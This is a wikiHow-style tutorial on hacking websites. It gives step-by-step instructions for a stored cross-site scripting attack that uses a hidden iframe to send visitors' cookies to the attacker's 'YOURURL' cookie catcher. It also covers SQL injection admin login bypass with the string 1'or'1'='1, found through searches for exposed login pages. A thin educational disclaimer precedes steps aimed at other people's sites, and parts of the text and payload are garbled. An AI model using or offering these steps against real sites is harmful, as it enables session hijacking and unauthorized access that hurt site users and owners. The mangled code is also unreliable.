Hack a Website

Ever wanted to know how to hack a website? While it is not possible to hack every site, you may be able to hack a vulnerable one, such as a message board. This article will show you how to hack a site using cross site scripting as well as injection attacks. It will also give you tips on how to set yourself up for success.

Note: This article is strictly for educational purposes, either to help people begin to learn white hat hacking or to see how hackers work in order to protect their own sites better.

Steps

Using Cross Site Scripting

  1. Find a vulnerable site where you can post content. A message board is a good example. Remember, if the site is secure then this will not work. window.alert(“test”) window.alert(“test”)window.alert(“test”)
  2. Go to create a post. You will need to type some special code into the “post” which will capture the data of all who click on it.
    • You’ll want to test to see if the system filters out code. Post 
      <script>window.alert(“test”)</script>
      If an alert box appears when you click on your post, then the site is vulnerable to attack.
  3. Create and upload your cookie catcher. The goal of this attack is to capture a user’s cookies, which allows you access to their account for websites with vulnerable logins. You’ll need a cookie catcher, which will capture your target’s cookies and reroute them. Upload the catcher to a website you have access to and that supports php. An example cookie catcher code can be found in the sample section.
  4. Post with your cookie catcher. Input a proper code into the post which will capture the cookies and sent them to your site. You will want to put in some text after the code to reduce suspicion and keep your post from being deleted.
    • An example code would look like
      <iframe frameborder="0" height="0" width="0" src="javascript...:void(document.location='YOURURL/cookiecatcher.php?c=' document.cookie)></iframe>
  5. Use the collected cookies. After this, you can use the cookie information, which should be saved to your website, for whatever purpose you need.

Executing Injection Attacks

  1. Find a vulnerable site. You will need to find a site that is vulnerable, due to an easily accessible admin login. Try searching Google for admin login.asp.
  2. Login as an admin. Type admin as the username and use one of a number of different strings as the password. These can be any one of a number of different strings but a common example is 1’or’1’='1.
  3. Be patient. This is probably going to require a little trial and error.
  4. Access the website. Eventually, you should be able to find a string that allows you admin access to a website, assuming the website is vulnerable to attack.

Setting Up for Success

  1. Learn a programming language or two. If you want to really learn how to hack websites, you’ll need to understand how computers and other technologies work. Learn to use programming languages like Python or SQL, so that you can gain better control of computers and identify vulnerabilities in systems.
  2. Have basic HTML literacy. You will also need to have a really good understanding of html and javascript if you want to hack websites in particular. This can take time to learn but there are lots of free ways to learn on the internet, so you will certainly have the opportunity if you want to take it.
  3. Consult with whitehats. Whitehats are hackers who use their powers for good, exposing security vulnerabilities and making the internet a better place for everyone. If you’re wanting to learn to hack and use your powers for good or if you want to help protect your own website, you might want to contact some current whitehats for advice.
  4. Research hacking. If you’re wanting to learn to hack or if you just want to protect yourself, you’ll need to do a lot of research. There are so many different ways that websites can be vulnerable and the list is ever-changing, so you will need to be constantly learning.
  5. Keep up to date. Because the list of possible hacks is ever-changing, you’ll need to be sure you keep up to date. Just because you’re protected from a certain type of hack now doesn’t mean you’ll be safe in the future!
